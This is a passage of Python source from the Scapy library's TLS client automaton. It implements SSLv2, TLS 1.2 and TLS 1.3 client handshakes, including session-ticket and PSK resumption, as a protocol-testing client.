TLSEncryptedExtensions, TLSFinished, TLSServerHello, TLSServerHelloDone, \ TLSServerKeyExchange, TLS13Certificate, TLS13ClientHello, \ TLS13ServerHello, TLS13HelloRetryRequest, TLS13CertificateRequest, \ _ASN1CertAndExt, TLS13KeyUpdate, TLS13NewSessionTicket from scapy.layers.tls.handshake_sslv2 import SSLv2ClientHello, \ SSLv2ServerHello, SSLv2ClientMasterKey, SSLv2ServerVerify, \ SSLv2ClientFinished, SSLv2ServerFinished, SSLv2ClientCertificate, \ SSLv2RequestCertificate from scapy.layers.tls.keyexchange_tls13 import TLS_Ext_KeyShare_CH, \ KeyShareEntry, TLS_Ext_KeyShare_HRR, PSKIdentity, PSKBinderEntry, \ TLS_Ext_PreSharedKey_CH from scapy.layers.tls.record import TLSAlert, TLSChangeCipherSpec, \ TLSApplicationData from scapy.layers.tls.crypto.suites import _tls_cipher_suites, \ _tls_cipher_suites_cls from scapy.layers.tls.crypto.groups import _tls_named_groups from scapy.layers.tls.crypto.hkdf import TLS13_HKDF from scapy.modules import six from scapy.packet import Raw from scapy.compat import bytes_encode class TLSClientAutomaton(_TLSAutomaton): """ A simple TLS test client automaton. Try to overload some states or conditions and see what happens on the other side. Rather than with an interruption, the best way to stop this client is by typing 'quit'. This won't be a message sent to the server. :param server: the server IP or hostname. defaults to 127.0.0.1 :param dport: the server port. defaults to 4433 :param server_name: the SNI to use. It does not need to be set :param mycert: :param mykey: may be provided as filenames. They will be used in the handshake, should the server ask for client authentication. :param client_hello: may hold a TLSClientHello or SSLv2ClientHello to be sent to the server. This is particularly useful for extensions tweaking. :param version: is a quicker way to advertise a protocol version ("sslv2", "tls1", "tls12", etc.) It may be overridden by the previous 'client_hello'. :param data: is a list of raw data to be sent to the server once the handshake has been completed. Both 'stop_server' and 'quit' will work this way. """ def parse_args(self, server="127.0.0.1", dport=4433, server_name=None, mycert=None, mykey=None, client_hello=None, version=None, resumption_master_secret=None, session_ticket_file_in=None, session_ticket_file_out=None, psk=None, psk_mode=None, data=None, ciphersuite=None, curve=None, **kargs): super(TLSClientAutomaton, self).parse_args(mycert=mycert, mykey=mykey, **kargs) tmp = socket.getaddrinfo(server, dport) self.remote_family = tmp[0][0] self.remote_ip = tmp[0][4][0] self.remote_port = dport self.server_name = server_name self.local_ip = None self.local_port = None self.socket = None if (isinstance(client_hello, TLSClientHello) or isinstance(client_hello, TLS13ClientHello)): self.client_hello = client_hello else: self.client_hello = None self.advertised_tls_version = None if version: v = _tls_version_options.get(version, None) if not v: self.vprint("Unrecognized TLS version option.") else: self.advertised_tls_version = v self.linebreak = False if isinstance(data, bytes): self.data_to_send = [data] elif isinstance(data, six.string_types): self.data_to_send = [bytes_encode(data)] elif isinstance(data, list): self.data_to_send = list(bytes_encode(d) for d in reversed(data)) else: self.data_to_send = [] self.curve = None if self.advertised_tls_version == 0x0304: self.ciphersuite = 0x1301 if ciphersuite is not None: cs = int(ciphersuite, 16) if cs in _tls_cipher_suites.keys(): self.ciphersuite = cs if conf.crypto_valid_advanced: # Default to x25519 if supported self.curve = 29 else: # Or secp256r1 otherwise self.curve = 23 self.resumption_master_secret = resumption_master_secret self.session_ticket_file_in = session_ticket_file_in self.session_ticket_file_out = session_ticket_file_out self.tls13_psk_secret = psk self.tls13_psk_mode = psk_mode if curve is not None: for (group_id, ng) in _tls_named_groups.items(): if ng == curve: if curve == "x25519": if conf.crypto_valid_advanced: self.curve = group_id else: self.curve = group_id def vprint_sessioninfo(self): if self.verbose: s = self.cur_session v = _tls_version[s.tls_version] self.vprint("Version : %s" % v) cs = s.wcs.ciphersuite.name self.vprint("Cipher suite : %s" % cs) if s.tls_version >= 0x0304: ms = s.tls13_master_secret else: ms = s.master_secret self.vprint("Master secret : %s" % repr_hex(ms)) if s.server_certs: self.vprint("Server certificate chain: %r" % s.server_certs) if s.tls_version >= 0x0304: res_secret = s.tls13_derived_secrets["resumption_secret"] self.vprint("Resumption master secret : %s" % repr_hex(res_secret)) self.vprint() @ATMT.state(initial=True) def INITIAL(self): self.vprint("Starting TLS client automaton.") raise self.INIT_TLS_SESSION() @ATMT.ioevent(INITIAL, name="tls", as_supersocket="tlslink") def _socket(self, fd): pass @ATMT.state() def INIT_TLS_SESSION(self): self.cur_session = tlsSession(connection_end="client") s = self.cur_session s.client_certs = self.mycert s.client_key = self.mykey v = self.advertised_tls_version if v: s.advertised_tls_version = v else: default_version = s.advertised_tls_version self.advertised_tls_version = default_version if s.advertised_tls_version >= 0x0304: # For out of band PSK, the PSK is given as an argument # to the automaton if self.tls13_psk_secret: s.tls13_psk_secret = binascii.unhexlify(self.tls13_psk_secret) # For resumed PSK, the PSK is computed from if self.session_ticket_file_in: with open(self.session_ticket_file_in, 'rb') as f: resumed_ciphersuite_len = struct.unpack("B", f.read(1))[0] s.tls13_ticket_ciphersuite = \ struct.unpack("!H", f.read(resumed_ciphersuite_len))[0] ticket_nonce_len = struct.unpack("B", f.read(1))[0] # XXX add client_session_nonce member in tlsSession s.client_session_nonce = f.read(ticket_nonce_len) client_ticket_age_len = struct.unpack("!H", f.read(2))[0] tmp = f.read(client_ticket_age_len) s.client_ticket_age = struct.unpack("!I", tmp)[0] client_ticket_age_add_len = struct.unpack( "!H", f.read(2))[0] tmp = f.read(client_ticket_age_add_len) s.client_session_ticket_age_add = struct.unpack( "!I", tmp)[0] ticket_len = struct.unpack("!H", f.read(2))[0] s.client_session_ticket = f.read(ticket_len) if self.resumption_master_secret: if s.tls13_ticket_ciphersuite not in _tls_cipher_suites_cls: # noqa: E501 warning("Unknown cipher suite %d" % s.tls13_ticket_ciphersuite) # noqa: E501 # we do not try to set a default nor stop the execution else: cs_cls = _tls_cipher_suites_cls[s.tls13_ticket_ciphersuite] # noqa: E501 hkdf = TLS13_HKDF(cs_cls.hash_alg.name.lower()) hash_len = hkdf.hash.digest_size s.tls13_psk_secret = hkdf.expand_label(binascii.unhexlify(self.resumption_master_secret), # noqa: E501 b"resumption", s.client_session_nonce, # noqa: E501 hash_len) raise self.CONNECT() @ATMT.state() def CONNECT(self): s = socket.socket(self.remote_family, socket.SOCK_STREAM) self.vprint() self.vprint("Trying to connect on %s:%d" % (self.remote_ip, self.remote_port)) s.connect((self.remote_ip, self.remote_port)) self.socket = s self.local_ip, self.local_port = self.socket.getsockname()[:2] self.vprint() if self.cur_session.advertised_tls_version in [0x0200, 0x0002]: raise self.SSLv2_PREPARE_CLIENTHELLO() elif self.cur_session.advertised_tls_version >= 0x0304: raise self.TLS13_START() else: raise self.PREPARE_CLIENTFLIGHT1() # TLS handshake # @ATMT.state() def PREPARE_CLIENTFLIGHT1(self): self.add_record() @ATMT.condition(PREPARE_CLIENTFLIGHT1) def should_add_ClientHello(self): if self.client_hello: p = self.client_hello else: p = TLSClientHello() ext = [] # Add TLS_Ext_SignatureAlgorithms for TLS 1.2 ClientHello if self.cur_session.advertised_tls_version == 0x0303: ext += [TLS_Ext_SignatureAlgorithms(sig_algs=["sha256+rsa"])] # Add TLS_Ext_ServerName if self.server_name: ext += TLS_Ext_ServerName( servernames=[ServerName(servername=self.server_name)] ) p.ext = ext self.add_msg(p) raise self.ADDED_CLIENTHELLO() @ATMT.state() def ADDED_CLIENTHELLO(self): pass @ATMT.condition(ADDED_CLIENTHELLO) def should_send_ClientFlight1(self): self.flush_records() raise self.SENT_CLIENTFLIGHT1() @ATMT.state() def SENT_CLIENTFLIGHT1(self): raise self.WAITING_SERVERFLIGHT1() @ATMT.state() def WAITING_SERVERFLIGHT1(self): self.get_next_msg() raise self.RECEIVED_SERVERFLIGHT1() @ATMT.state() def RECEIVED_SERVERFLIGHT1(self): pass @ATMT.condition(RECEIVED_SERVERFLIGHT1, prio=1) def should_handle_ServerHello(self): """ XXX We should check the ServerHello attributes for discrepancies with our own ClientHello. """ self.raise_on_packet(TLSServerHello, self.HANDLED_SERVERHELLO) @ATMT.state() def HANDLED_SERVERHELLO(self): pass @ATMT.condition(RECEIVED_SERVERFLIGHT1, prio=2) def missing_ServerHello(self): raise self.MISSING_SERVERHELLO() @ATMT.state() def MISSING_SERVERHELLO(self): self.vprint("Missing TLS ServerHello message!") raise self.CLOSE_NOTIFY() @ATMT.condition(HANDLED_SERVERHELLO, prio=1) def should_handle_ServerCertificate(self): if not self.cur_session.prcs.key_exchange.anonymous: self.raise_on_packet(TLSCertificate, self.HANDLED_SERVERCERTIFICATE) raise self.HANDLED_SERVERCERTIFICATE() @ATMT.state() def HANDLED_SERVERCERTIFICATE(self): pass @ATMT.condition(HANDLED_SERVERHELLO, prio=2) def missing_ServerCertificate(self): raise self.MISSING_SERVERCERTIFICATE() @ATMT.state() def MISSING_SERVERCERTIFICATE(self): self.vprint("Missing TLS Certificate message!") raise self.CLOSE_NOTIFY() @ATMT.state() def HANDLED_CERTIFICATEREQUEST(self): self.vprint("Server asked for a certificate...") if not self.mykey or not self.mycert: self.vprint("No client certificate to send!") self.vprint("Will try and send an empty Certificate message...") @ATMT.condition(HANDLED_SERVERCERTIFICATE, prio=1) def should_handle_ServerKeyExchange_from_ServerCertificate(self): """ XXX We should check the ServerKeyExchange attributes for discrepancies with our own ClientHello, along with the ServerHello and Certificate. """ self.raise_on_packet(TLSServerKeyExchange, self.HANDLED_SERVERKEYEXCHANGE) @ATMT.state(final=True) def MISSING_SERVERKEYEXCHANGE(self): pass @ATMT.condition(HANDLED_SERVERCERTIFICATE, prio=2) def missing_ServerKeyExchange(self): if not self.cur_session.prcs.key_exchange.no_ske: raise self.MISSING_SERVERKEYEXCHANGE() @ATMT.state() def HANDLED_SERVERKEYEXCHANGE(self): pass def should_handle_CertificateRequest(self): """ XXX We should check the CertificateRequest attributes for discrepancies with the cipher suite, etc. """ self.raise_on_packet(TLSCertificateRequest, self.HANDLED_CERTIFICATEREQUEST) @ATMT.condition(HANDLED_SERVERKEYEXCHANGE, prio=2) def should_handle_CertificateRequest_from_ServerKeyExchange(self): self.should_handle_CertificateRequest() @ATMT.condition(HANDLED_SERVERCERTIFICATE, prio=3) def should_handle_CertificateRequest_from_ServerCertificate(self): self.should_handle_CertificateRequest() def should_handle_ServerHelloDone(self): self.raise_on_packet(TLSServerHelloDone, self.HANDLED_SERVERHELLODONE) @ATMT.condition(HANDLED_SERVERKEYEXCHANGE, prio=1) def should_handle_ServerHelloDone_from_ServerKeyExchange(self): return self.should_handle_ServerHelloDone() @ATMT.condition(HANDLED_CERTIFICATEREQUEST, prio=4) def should_handle_ServerHelloDone_from_CertificateRequest(self): return self.should_handle_ServerHelloDone() @ATMT.condition(HANDLED_SERVERCERTIFICATE, prio=4) def should_handle_ServerHelloDone_from_ServerCertificate(self): return self.should_handle_ServerHelloDone() @ATMT.state() def HANDLED_SERVERHELLODONE(self): raise self.PREPARE_CLIENTFLIGHT2() @ATMT.state() def PREPARE_CLIENTFLIGHT2(self): self.add_record() @ATMT.condition(PREPARE_CLIENTFLIGHT2, prio=1) def should_add_ClientCertificate(self): """ If the server sent a CertificateRequest, we send a Certificate message. If no certificate is available, an empty Certificate message is sent: - this is a SHOULD in RFC 4346 (Section 7.4.6) - this is a MUST in RFC 5246 (Section 7.4.6) XXX We may want to add a complete chain. """ hs_msg = [type(m) for m in self.cur_session.handshake_messages_parsed] if TLSCertificateRequest not in hs_msg: return certs = [] if self.mycert: certs = [self.mycert] self.add_msg(TLSCertificate(certs=certs)) raise self.ADDED_CLIENTCERTIFICATE() @ATMT.state() def ADDED_CLIENTCERTIFICATE(self): pass def should_add_ClientKeyExchange(self): self.add_msg(TLSClientKeyExchange()) raise self.ADDED_CLIENTKEYEXCHANGE() @ATMT.condition(PREPARE_CLIENTFLIGHT2, prio=2) def should_add_ClientKeyExchange_from_ClientFlight2(self): return self.should_add_ClientKeyExchange() @ATMT.condition(ADDED_CLIENTCERTIFICATE) def should_add_ClientKeyExchange_from_ClientCertificate(self): return self.should_add_ClientKeyExchange() @ATMT.state() def ADDED_CLIENTKEYEXCHANGE(self): pass @ATMT.condition(ADDED_CLIENTKEYEXCHANGE, prio=1) def should_add_ClientVerify(self): """ XXX Section 7.4.7.1 of RFC 5246 states that the CertificateVerify message is only sent following a client certificate that has signing capability (i.e. not those containing fixed DH params). We should verify that before adding the message. We should also handle the case when the Certificate message was empty. """ hs_msg = [type(m) for m in self.cur_session.handshake_messages_parsed] if (TLSCertificateRequest not in hs_msg or self.mycert is None or self.mykey is None): return self.add_msg(TLSCertificateVerify()) raise self.ADDED_CERTIFICATEVERIFY() @ATMT.state() def ADDED_CERTIFICATEVERIFY(self): pass @ATMT.condition(ADDED_CERTIFICATEVERIFY) def should_add_ChangeCipherSpec_from_CertificateVerify(self): self.add_record() self.add_msg(TLSChangeCipherSpec()) raise self.ADDED_CHANGECIPHERSPEC() @ATMT.condition(ADDED_CLIENTKEYEXCHANGE, prio=2) def should_add_ChangeCipherSpec_from_ClientKeyExchange(self): self.add_record() self.add_msg(TLSChangeCipherSpec()) raise self.ADDED_CHANGECIPHERSPEC() @ATMT.state() def ADDED_CHANGECIPHERSPEC(self): pass @ATMT.condition(ADDED_CHANGECIPHERSPEC) def should_add_ClientFinished(self): self.add_record() self.add_msg(TLSFinished()) raise self.ADDED_CLIENTFINISHED() @ATMT.state() def ADDED_CLIENTFINISHED(self): pass @ATMT.condition(ADDED_CLIENTFINISHED) def should_send_ClientFlight2(self): self.flush_records() raise self.SENT_CLIENTFLIGHT2() @ATMT.state() def SENT_CLIENTFLIGHT2(self): raise self.WAITING_SERVERFLIGHT2() @ATMT.state() def WAITING_SERVERFLIGHT2(self): self.get_next_msg() raise self.RECEIVED_SERVERFLIGHT2() @ATMT.state() def RECEIVED_SERVERFLIGHT2(self): pass @ATMT.condition(RECEIVED_SERVERFLIGHT2) def should_handle_ChangeCipherSpec(self): self.raise_on_packet(TLSChangeCipherSpec, self.HANDLED_CHANGECIPHERSPEC) @ATMT.state() def HANDLED_CHANGECIPHERSPEC(self): pass @ATMT.condition(HANDLED_CHANGECIPHERSPEC) def should_handle_Finished(self): self.raise_on_packet(TLSFinished, self.HANDLED_SERVERFINISHED) @ATMT.state() def HANDLED_SERVERFINISHED(self): self.vprint("TLS handshake completed!") self.vprint_sessioninfo() self.vprint("You may send data or use 'quit'.") # end of TLS handshake # @ATMT.condition(HANDLED_SERVERFINISHED) def should_wait_ClientData(self): raise self.WAIT_CLIENTDATA() @ATMT.state() def WAIT_CLIENTDATA(self): pass @ATMT.condition(WAIT_CLIENTDATA, prio=1) def add_ClientData(self): r""" The user may type in: GET / HTTP/1.1\r\nHost: testserver.com\r\n\r\n Special characters are handled so that it becomes a valid HTTP request. """ if not self.data_to_send: if self.is_atmt_socket: # Socket mode fd = select_objects([self.ioin["tls"]], 0) if fd: self.add_record() self.add_msg(TLSApplicationData(data=fd[0].recv())) raise self.ADDED_CLIENTDATA() raise self.WAITING_SERVERDATA() else: data = six.moves.input().replace('\\r', '\r').replace('\\n', '\n').encode() # noqa: E501 else: data = self.data_to_send.pop() if data == b"quit": return # Command to skip sending elif data == b"wait": raise self.WAITING_SERVERDATA() # Command to perform a key_update (for a TLS 1.3 session) elif data == b"key_update": if self.cur_session.tls_version >= 0x0304: self.add_record() self.add_msg(TLS13KeyUpdate(request_update="update_requested")) raise self.ADDED_CLIENTDATA() if self.linebreak: data += b"\n" self.add_record() self.add_msg(TLSApplicationData(data=data)) raise self.ADDED_CLIENTDATA() @ATMT.condition(WAIT_CLIENTDATA, prio=2) def no_more_ClientData(self): raise self.CLOSE_NOTIFY() @ATMT.state() def ADDED_CLIENTDATA(self): pass @ATMT.condition(ADDED_CLIENTDATA) def should_send_ClientData(self): self.flush_records() raise self.SENT_CLIENTDATA() @ATMT.state() def SENT_CLIENTDATA(self): raise self.WAITING_SERVERDATA() @ATMT.state() def WAITING_SERVERDATA(self): self.get_next_msg(0.3, 1) raise self.RECEIVED_SERVERDATA() @ATMT.state() def RECEIVED_SERVERDATA(self): pass @ATMT.condition(RECEIVED_SERVERDATA, prio=1) def should_handle_ServerData(self): if not self.buffer_in: raise self.WAIT_CLIENTDATA() p = self.buffer_in[0] if isinstance(p, TLSApplicationData): if self.is_atmt_socket: # Socket mode self.oi.tls.send(p.data) else: print("> Received: %r" % p.data) elif isinstance(p, TLSAlert): print("> Received: %r" % p) raise self.CLOSE_NOTIFY() elif isinstance(p, TLS13NewSessionTicket): print("> Received: %r " % p) # If arg session_ticket_file_out is set, we save # the ticket for resumption... if self.session_ticket_file_out: # Struct of ticket file : # * ciphersuite_len (1 byte) # * ciphersuite (ciphersuite_len bytes) : # we need to the store the ciphersuite for resumption # * ticket_nonce_len (1 byte) # * ticket_nonce (ticket_nonce_len bytes) : # we need to store the nonce to compute the PSK # for resumption # * ticket_age_len (2 bytes) # * ticket_age (ticket_age_len bytes) : # we need to store the time we received the ticket for # computing the obfuscated_ticket_age when resuming # * ticket_age_add_len (2 bytes) # * ticket_age_add (ticket_age_add_len bytes) : # we need to store the ticket_age_add value from the # ticket to compute the obfuscated ticket age # * ticket_len (2 bytes) # * ticket (ticket_len bytes) with open(self.session_ticket_file_out, 'wb') as f: f.write(struct.pack("B", 2)) # we choose wcs arbitrarily... f.write(struct.pack("!H", self.cur_session.wcs.ciphersuite.val)) f.write(struct.pack("B", p.noncelen)) f.write(p.ticket_nonce) f.write(struct.pack("!H", 4)) f.write(struct.pack("!I", int(time.time()))) f.write(struct.pack("!H", 4)) f.write(struct.pack("!I", p.ticket_age_add)) f.write(struct.pack("!H", p.ticketlen)) f.write(self.cur_session.client_session_ticket) else: print("> Received: %r" % p) self.buffer_in = self.buffer_in[1:] raise self.HANDLED_SERVERDATA() @ATMT.state() def HANDLED_SERVERDATA(self): raise self.WAIT_CLIENTDATA() @ATMT.state() def CLOSE_NOTIFY(self): self.vprint() self.vprint("Trying to send a TLSAlert to the server...") @ATMT.condition(CLOSE_NOTIFY) def close_session(self): self.add_record() self.add_msg(TLSAlert(level=1, descr=0)) try: self.flush_records() except Exception: self.vprint("Could not send termination Alert, maybe the server stopped?") # noqa: E501 raise self.FINAL() # SSLv2 handshake # @ATMT.state() def SSLv2_PREPARE_CLIENTHELLO(self): pass @ATMT.condition(SSLv2_PREPARE_CLIENTHELLO) def sslv2_should_add_ClientHello(self): self.add_record(is_sslv2=True) p = self.client_hello or SSLv2ClientHello(challenge=randstring(16)) self.add_msg(p) raise self.SSLv2_ADDED_CLIENTHELLO() @ATMT.state() def SSLv2_ADDED_CLIENTHELLO(self): pass @ATMT.condition(SSLv2_ADDED_CLIENTHELLO) def sslv2_should_send_ClientHello(self): self.flush_records() raise self.SSLv2_SENT_CLIENTHELLO() @ATMT.state() def SSLv2_SENT_CLIENTHELLO(self): raise self.SSLv2_WAITING_SERVERHELLO() @ATMT.state() def SSLv2_WAITING_SERVERHELLO(self): self.get_next_msg() raise self.SSLv2_RECEIVED_SERVERHELLO() @ATMT.state() def SSLv2_RECEIVED_SERVERHELLO(self): pass @ATMT.condition(SSLv2_RECEIVED_SERVERHELLO, prio=1) def sslv2_should_handle_ServerHello(self): self.raise_on_packet(SSLv2ServerHello, self.SSLv2_HANDLED_SERVERHELLO) @ATMT.state() def SSLv2_HANDLED_SERVERHELLO(self): pass @ATMT.condition(SSLv2_RECEIVED_SERVERHELLO, prio=2) def sslv2_missing_ServerHello(self): raise self.SSLv2_MISSING_SERVERHELLO() @ATMT.state() def SSLv2_MISSING_SERVERHELLO(self): self.vprint("Missing SSLv2 ServerHello message!") raise self.SSLv2_CLOSE_NOTIFY() @ATMT.condition(SSLv2_HANDLED_SERVERHELLO) def sslv2_should_add_ClientMasterKey(self): self.add_record(is_sslv2=True) self.add_msg(SSLv2ClientMasterKey()) raise self.SSLv2_ADDED_CLIENTMASTERKEY() @ATMT.state() def SSLv2_ADDED_CLIENTMASTERKEY(self): pass @ATMT.condition(SSLv2_ADDED_CLIENTMASTERKEY) def sslv2_should_send_ClientMasterKey(self): self.flush_records() raise self.SSLv2_SENT_CLIENTMASTERKEY() @ATMT.state() def SSLv2_SENT_CLIENTMASTERKEY(self): raise self.SSLv2_WAITING_SERVERVERIFY() @ATMT.state() def SSLv2_WAITING_SERVERVERIFY(self): # We give the server 0.5 second to send his ServerVerify. # Else we assume that he's waiting for our ClientFinished. self.get_next_msg(0.5, 0) raise self.SSLv2_RECEIVED_SERVERVERIFY() @ATMT.state() def SSLv2_RECEIVED_SERVERVERIFY(self): pass @ATMT.condition(SSLv2_RECEIVED_SERVERVERIFY, prio=1) def sslv2_should_handle_ServerVerify(self): self.raise_on_packet(SSLv2ServerVerify, self.SSLv2_HANDLED_SERVERVERIFY, get_next_msg=False) @ATMT.state() def SSLv2_HANDLED_SERVERVERIFY(self): pass def sslv2_should_add_ClientFinished(self): hs_msg = [type(m) for m in self.cur_session.handshake_messages_parsed] if SSLv2ClientFinished in hs_msg: return self.add_record(is_sslv2=True) self.add_msg(SSLv2ClientFinished()) raise self.SSLv2_ADDED_CLIENTFINISHED() @ATMT.condition(SSLv2_HANDLED_SERVERVERIFY, prio=1) def sslv2_should_add_ClientFinished_from_ServerVerify(self): return self.sslv2_should_add_ClientFinished() @ATMT.condition(SSLv2_HANDLED_SERVERVERIFY, prio=2) def sslv2_should_wait_ServerFinished_from_ServerVerify(self): raise self.SSLv2_WAITING_SERVERFINISHED() @ATMT.condition(SSLv2_RECEIVED_SERVERVERIFY, prio=2) def sslv2_should_add_ClientFinished_from_NoServerVerify(self): return self.sslv2_should_add_ClientFinished() @ATMT.condition(SSLv2_RECEIVED_SERVERVERIFY, prio=3) def sslv2_missing_ServerVerify(self): raise self.SSLv2_MISSING_SERVERVERIFY() @ATMT.state(final=True) def SSLv2_MISSING_SERVERVERIFY(self): self.vprint("Missing SSLv2 ServerVerify message!") raise self.SSLv2_CLOSE_NOTIFY() @ATMT.state() def SSLv2_ADDED_CLIENTFINISHED(self): pass @ATMT.condition(SSLv2_ADDED_CLIENTFINISHED) def sslv2_should_send_ClientFinished(self): self.flush_records() raise self.SSLv2_SENT_CLIENTFINISHED() @ATMT.state() def SSLv2_SENT_CLIENTFINISHED(self): hs_msg = [type(m) for m in self.cur_session.handshake_messages_parsed] if SSLv2ServerVerify in hs_msg: raise self.SSLv2_WAITING_SERVERFINISHED() else: self.get_next_msg() raise self.SSLv2_RECEIVED_SERVERVERIFY() @ATMT.state() def SSLv2_WAITING_SERVERFINISHED(self): self.get_next_msg() raise self.SSLv2_RECEIVED_SERVERFINISHED() @ATMT.state() def SSLv2_RECEIVED_SERVERFINISHED(self): pass @ATMT.condition(SSLv2_RECEIVED_SERVERFINISHED, prio=1) def sslv2_should_handle_ServerFinished(self): self.raise_on_packet(SSLv2ServerFinished, self.SSLv2_HANDLED_SERVERFINISHED) # SSLv2 client authentication # @ATMT.condition(SSLv2_RECEIVED_SERVERFINISHED, prio=2) def sslv2_should_handle_RequestCertificate(self): self.raise_on_packet(SSLv2RequestCertificate, self.SSLv2_HANDLED_REQUESTCERTIFICATE) @ATMT.state() def SSLv2_HANDLED_REQUESTCERTIFICATE(self): self.vprint("Server asked for a certificate...") if not self.mykey or not self.mycert: self.vprint("No client certificate to send!") raise self.SSLv2_CLOSE_NOTIFY() @ATMT.condition(SSLv2_HANDLED_REQUESTCERTIFICATE) def sslv2_should_add_ClientCertificate(self): self.add_record(is_sslv2=True) self.add_msg(SSLv2ClientCertificate(certdata=self.mycert)) raise self.SSLv2_ADDED_CLIENTCERTIFICATE() @ATMT.state() def SSLv2_ADDED_CLIENTCERTIFICATE(self): pass @ATMT.condition(SSLv2_ADDED_CLIENTCERTIFICATE) def sslv2_should_send_ClientCertificate(self): self.flush_records() raise self.SSLv2_SENT_CLIENTCERTIFICATE() @ATMT.state() def SSLv2_SENT_CLIENTCERTIFICATE(self): raise self.SSLv2_WAITING_SERVERFINISHED() # end of SSLv2 client authentication # @ATMT.state() def SSLv2_HANDLED_SERVERFINISHED(self): self.vprint("SSLv2 handshake completed!") self.vprint_sessioninfo() self.vprint("You may send data or use 'quit'.") @ATMT.condition(SSLv2_RECEIVED_SERVERFINISHED, prio=3) def sslv2_missing_ServerFinished(self): raise self.SSLv2_MISSING_SERVERFINISHED() @ATMT.state() def SSLv2_MISSING_SERVERFINISHED(self): self.vprint("Missing SSLv2 ServerFinished message!") raise self.SSLv2_CLOSE_NOTIFY() # end of SSLv2 handshake # @ATMT.condition(SSLv2_HANDLED_SERVERFINISHED) def sslv2_should_wait_ClientData(self): raise self.SSLv2_WAITING_CLIENTDATA() @ATMT.state() def SSLv2_WAITING_CLIENTDATA(self): pass @ATMT.condition(SSLv2_WAITING_CLIENTDATA, prio=1) def sslv2_add_ClientData(self): if not self.data_to_send: data = six.moves.input().replace('\\r', '\r').replace('\\n', '\n').encode() # noqa: E501 else: data = self.data_to_send.pop() self.vprint("> Read from list: %s" % data) if data == "quit": return if self.linebreak: data += "\n" self.add_record(is_sslv2=True) self.add_msg(Raw(data)) raise self.SSLv2_ADDED_CLIENTDATA() @ATMT.condition(SSLv2_WAITING_CLIENTDATA, prio=2) def sslv2_no_more_ClientData(self): raise self.SSLv2_CLOSE_NOTIFY() @ATMT.state() def SSLv2_ADDED_CLIENTDATA(self): pass @ATMT.condition(SSLv2_ADDED_CLIENTDATA) def sslv2_should_send_ClientData(self): self.flush_records() raise self.SSLv2_SENT_CLIENTDATA() @ATMT.state() def SSLv2_SENT_CLIENTDATA(self): raise self.SSLv2_WAITING_SERVERDATA() @ATMT.state() def SSLv2_WAITING_SERVERDATA(self): self.get_next_msg(0.3, 1) raise self.SSLv2_RECEIVED_SERVERDATA() @ATMT.state() def SSLv2_RECEIVED_SERVERDATA(self): pass @ATMT.condition(SSLv2_RECEIVED_SERVERDATA) def sslv2_should_handle_ServerData(self): if not self.buffer_in: raise self.SSLv2_WAITING_CLIENTDATA() p = self.buffer_in[0] print("> Received: %r" % p.load) if p.load.startswith(b"goodbye"): raise self.SSLv2_CLOSE_NOTIFY() self.buffer_in = self.buffer_in[1:] raise self.SSLv2_HANDLED_SERVERDATA() @ATMT.state() def SSLv2_HANDLED_SERVERDATA(self): raise self.SSLv2_WAITING_CLIENTDATA() @ATMT.state() def SSLv2_CLOSE_NOTIFY(self): """ There is no proper way to end an SSLv2 session. We try and send a 'goodbye' message as a substitute. """ self.vprint() self.vprint("Trying to send a 'goodbye' to the server...") @ATMT.condition(SSLv2_CLOSE_NOTIFY) def sslv2_close_session(self): self.add_record() self.add_msg(Raw('goodbye')) try: self.flush_records() except Exception: self.vprint("Could not send our goodbye. The server probably stopped.") # noqa: E501 self.socket.close() raise self.FINAL() # TLS 1.3 handshake # @ATMT.state() def TLS13_START(self): pass @ATMT.condition(TLS13_START) def tls13_should_add_ClientHello(self): # we have to use the legacy, plaintext TLS record here supported_groups = ["secp256r1", "secp384r1", "x448"] if conf.crypto_valid_advanced: supported_groups.append("x25519") self.add_record(is_tls13=False) if self.client_hello: p = self.client_hello else: if self.ciphersuite is None: c = 0x1301 else: c = self.ciphersuite p = TLS13ClientHello(ciphers=c) ext = [] ext += TLS_Ext_SupportedVersion_CH(versions=["TLS 1.3"]) s = self.cur_session if s.tls13_psk_secret: # Check if DHE is need (both for out of band and resumption PSK) if self.tls13_psk_mode == "psk_dhe_ke": ext += TLS_Ext_PSKKeyExchangeModes(kxmodes="psk_dhe_ke") ext += TLS_Ext_SupportedGroups(groups=supported_groups) ext += TLS_Ext_KeyShare_CH( client_shares=[KeyShareEntry(group=self.curve)] ) else: ext += TLS_Ext_PSKKeyExchangeModes(kxmodes="psk_ke") # RFC844, section 4.2.11. # "The "pre_shared_key" extension MUST be the last extension # in the ClientHello " # Compute the pre_shared_key extension for resumption PSK if s.client_session_ticket: cs_cls = _tls_cipher_suites_cls[s.tls13_ticket_ciphersuite] # noqa: E501 hkdf = TLS13_HKDF(cs_cls.hash_alg.name.lower()) hash_len = hkdf.hash.digest_size # We compute the client's view of the age of the ticket (ie # the time since the receipt of the ticket) in ms agems = int((time.time() - s.client_ticket_age) * 1000) # Then we compute the obfuscated version of the ticket age # by adding the "ticket_age_add" value included in the # ticket (modulo 2^32) obfuscated_age = ((agems + s.client_session_ticket_age_add) & 0xffffffff) psk_id = PSKIdentity(identity=s.client_session_ticket, obfuscated_ticket_age=obfuscated_age) psk_binder_entry = PSKBinderEntry(binder_len=hash_len, binder=b"\x00" * hash_len) ext += TLS_Ext_PreSharedKey_CH(identities=[psk_id], binders=[psk_binder_entry]) else: # Compute the pre_shared_key extension for out of band PSK # (SHA256 is used as default hash function for HKDF for out # of band PSK) hkdf = TLS13_HKDF("sha256") hash_len = hkdf.hash.digest_size psk_id = PSKIdentity(identity='Client_identity') # XXX see how to not pass binder as argument psk_binder_entry = PSKBinderEntry(binder_len=hash_len, binder=b"\x00" * hash_len) ext += TLS_Ext_PreSharedKey_CH(identities=[psk_id], binders=[psk_binder_entry]) else: ext += TLS_Ext_SupportedGroups(groups=supported_groups) ext += TLS_Ext_KeyShare_CH( client_shares=[KeyShareEntry(group=self.curve)] ) ext += TLS_Ext_SignatureAlgorithms(sig_algs=["sha256+rsaepss", "sha256+rsa"]) # Add TLS_Ext_ServerName if self.server_name: ext += TLS_Ext_ServerName( servernames=[ServerName(servername=self.server_name)] ) p.ext = ext self.add_msg(p) raise self.TLS13_ADDED_CLIENTHELLO() @ATMT.state() def TLS13_ADDED_CLIENTHELLO(self): raise self.TLS13_SENDING_CLIENTFLIGHT1() @ATMT.state() def TLS13_SENDING_CLIENTFLIGHT1(self): pass @ATMT.condition(TLS13_SENDING_CLIENTFLIGHT1) def tls13_should_send_ClientFlight1(self): self.flush_records() raise self.TLS13_SENT_CLIENTFLIGHT1() @ATMT.state() def TLS13_SENT_CLIENTFLIGHT1(self): raise 